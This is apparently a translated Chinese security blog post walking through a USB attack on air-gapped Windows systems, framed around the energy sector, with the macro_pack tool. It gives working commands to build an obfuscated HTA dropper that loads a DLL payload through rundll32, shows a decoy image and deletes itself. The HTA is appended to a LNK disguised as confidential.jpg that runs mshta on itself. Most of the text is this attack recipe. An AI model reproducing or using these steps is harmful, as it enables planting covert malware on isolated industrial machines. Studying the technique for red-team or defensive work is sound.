导语:本文主要讲的是如何使用macro_pack绕过airgap,drop,pwn,探讨了在HTA(HTML应用程序)文件中利用SettingContent-ms文件进行黑客攻击中所发生的一些事。
本文主要讲的是如何使用macro_pack绕过airgap,drop,pwn,探讨了在HTA(HTML应用程序)文件中利用SettingContent-ms文件进行黑客攻击中所发生的一些事。
macro_pack是一个用于自动生成混淆过的MS Office文档、VB脚本等其他格式的工具,其主要目的是用于渗透测试、demo以及社会工程学的评估。macro_pack的目标是简化利用流程,反恶意软件绕过,并自动化vba生成到最终Office文档生成的过程。
该工具的使用也非常简单,不需要配置,一切都可以使用一行代码来完成,生成大部分Office格式和基于VBS的格式,高级VBA宏攻击以及DDE攻击。
该工具与流行的pentest工具(Metasploit,Empire)生成的有效载荷兼容。与其他工具结合也很容易,因为它可以从stdin读取输入并输出到另一个工具。macro_pack由Python3编写,同时支持在Linux和Windows系统上运行。
注意:Office文档自动生成或特洛伊木马功能仅支持已正确安装了MS Office应用程序的Windows平台上使用。
由于我擅长于能源行业的安全管理,在这个领域,其安全态势与传统计算机行业不同。例如,设备的可用性比保密性更重要,而且系统通常也连接不到互联网(不过也有例外,要不然道Wannacry怎么会发生)。因此,绕过airgap的安全防御是攻击者绕不开的一步。GAP,源于英文的"air gap",gap技术是一种通过专用硬件使两个或者两个以上的网络在不连通的情况下,实现安全数据传输和资源共享的技术。gap中文名字叫做安全隔离网闸,它采用独特的硬件设计,能够显著地提高内部用户网络的安全强度。
通常,对工业系统的攻击是通过不需要连接到远程系统的自主恶意软件载荷进行的。此外,恶意有效载荷不需要将数据泄漏出来,其主要目的就是破坏设备。2010年6月首次被发现的Stuxnet病毒就是这种攻击的一个很好的例子,震网病毒又名Stuxnet病毒,是一个席卷全球工业界的病毒,它是第一个专门定向攻击真实世界中基础(能源)设施的“蠕虫”病毒,比如核电站,水坝,国家电网。
今天,我想向你展示一些高级USB key攻击的方法,不过目前该方法还未在实践中被发现过,这是我在实验攻击环境中发现的。
攻击场景一
攻击环境的设置
1.被攻击的设备之间没有互联网连接;
2.除操作系统外,攻击之前你对目标系统根本就不了解;
3.USB加载的内容应尽可能是安全的,不触发安全警报;
4.有效载荷执行应尽可能在安全的条件下进行,即必须打开一个无害文件;
设置这些环境的最终目标是提供并运行二进制有效载荷,在下面的示例中,有效载荷是一个DLL(payload.dll),利用的是一个LNK文件,操作系统是MS Windows OS,具体攻击过程我会在下面介绍。
攻击策略
我的任务是让目标用户认为自己打开的是一个图片文件(confidential.jpg),然而实际上他打开的是一个恶意的LNK快捷方式文件(confidential.jpg.lnk)。此时,快捷方式中隐藏着一个HTA释放器(dropper),LNK将执行HTA,HTA将依次删除原来的图标,并执行DLL有效载荷,用假的图标(confidential.jpg)进行替换。
执行DLL有效载荷的HTA文件
我会使用macro_pack创建一个经过混淆的HTA有效载荷,这些载荷会加载payload.dll
echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=payload.dll --obfuscate -G payload.hta
此时,EMBED_DLL模板将创建一段VB代码,该代码将构建成一个加载了“-embed”扩展名的文件并使用Rundl32l加载它。现在,我就可以指示EMBED_DLL模板运行DLL的“DllMain”函数。
我可以使用-G选项来生成HTA文件,文件中的VB代码要经过混淆处理。为此,你可以使用mshta检查HTA文件是否能正常工作,是否能调用你的DLL(此时,DLL文件已被释放在临时目录中)。
构建释放有效载荷的HTA图片
我也可以使用EMBED_EXE macro_pack模板来嵌入、释放并运行我选定目录中的载荷。
在本文的例子中,我将使用一个“confidential.jpg” 图片。我的目标是将其放在与恶意LNK相同的文件夹中,以便在执行DLL有效载荷后它可以替换LNK。
echo "confidential.jpg" | macro_pack.exe -t EMBED_EXE --embed=confidential.jpg -o -G pic.hta
如果双击pic.hta,你将看到在当前文件夹中出现了confidential.jpg,并在默认图片查看器中被打开。
在一个自删除的HTA文件中进行封装
由于在macro_pack中不可能同时嵌入多个二进制有效载荷,这意味着我必须生成DLL释放器以及图片释放器。另外,我还要进行手动复制粘贴以创建最终的HTA有效载荷。
具体操作步骤如下:
1.在文本编辑器中打开payload.hta和pic.hta;
2.将pic.hta的AutoOpen函数重命名为AutoOpen2;
3.将所有vb代码从pic.hta复制到payload.hta中(除了最后两行,它们要调用AutoOpen和Close)
4.编辑payload.hta文件最后两行的AutoOpen以及Close代码;
AutoOpen2 AutoOpen Set objFSO = CreateObject( "Scripting.FileSystemObject" ) Set WshShell = CreateObject("WScript.Shell") objFSO.DeleteFile window.document.location.pathname Close
现在payload.hta文件将释放并运行图片,然后运行DLL,最后删除自身文件。
注意:如果你希望能够多次使用相同的USB key,请删除自删除代码并将图片释放在临时文件夹,而不是当前文件夹中。
构建恶意LNK
我将使用HTA文件的便捷属性,将它嵌入到LNK中。由于LNK的文件名是confidential.jpg.lnk,我希望LNK的运行命令如下:
%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\confidential.jpg.lnk"
注意:构建USB有效载荷的一个挑战是,载荷需要知道自己所处的具体路径。在本文中,我依赖的是macro_pack,它可以将LNK文件配置为在当前文件夹中运行的载荷。这样,利用“%cd%”命令就能知道当前载荷的卷名称和路径。
现在,我就可以使用macro_pack生成LNK,我是直接在USB key中生成快捷方式,以避免在创建后复制快捷方式文件时系统对其做出修改,这里的USB key的卷名称为“G:”。
macro_pack.exe -G G:\confidential.jpg.lnk
当提示“Shortcut_Target”时,请输入以下内容:
%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\confidential.jpg.lnk"
当提示“Shortcut_Icon”时,请输入以下内容:
%windir%\system32\imageres.dll,67
注意67代表的是imageres.dll中的JPG图片。
将LNK快捷方式创建完成后,我就可以将HTA代码添加到其中。
copy /b G:\confidential.jpg.lnk+cmd.hta G:\confidential.jpg.lnk
钓鱼载荷的整个构建过程就是如上所讲的这样。
模拟攻击过程
首先将confidential.jpg.lnk复制到USB key,然后将USB key插入另一台Windows系统的计算机上,访问U盘并双击confidential.jpg,就会看到该图片了。
此时,以上我构建的DLL已开始秘密加载,不过你可以使用taskmgr或者Sysinternals的procexp观察正在运行的DLL。此时,DLL将作为“Document1.asd”被释放在临时文件夹中,并使用如下的Visual Basic行执行。
CreateObject("WScript.Shell").Run "%windir%\system32\rundll32.exe %temp%\Document1.asd,<<<DLL_FUNCTION>>>", 0
等执行开始后,你将看到USB key上的LNK已不再存在,它已被替换成诱导性的图片。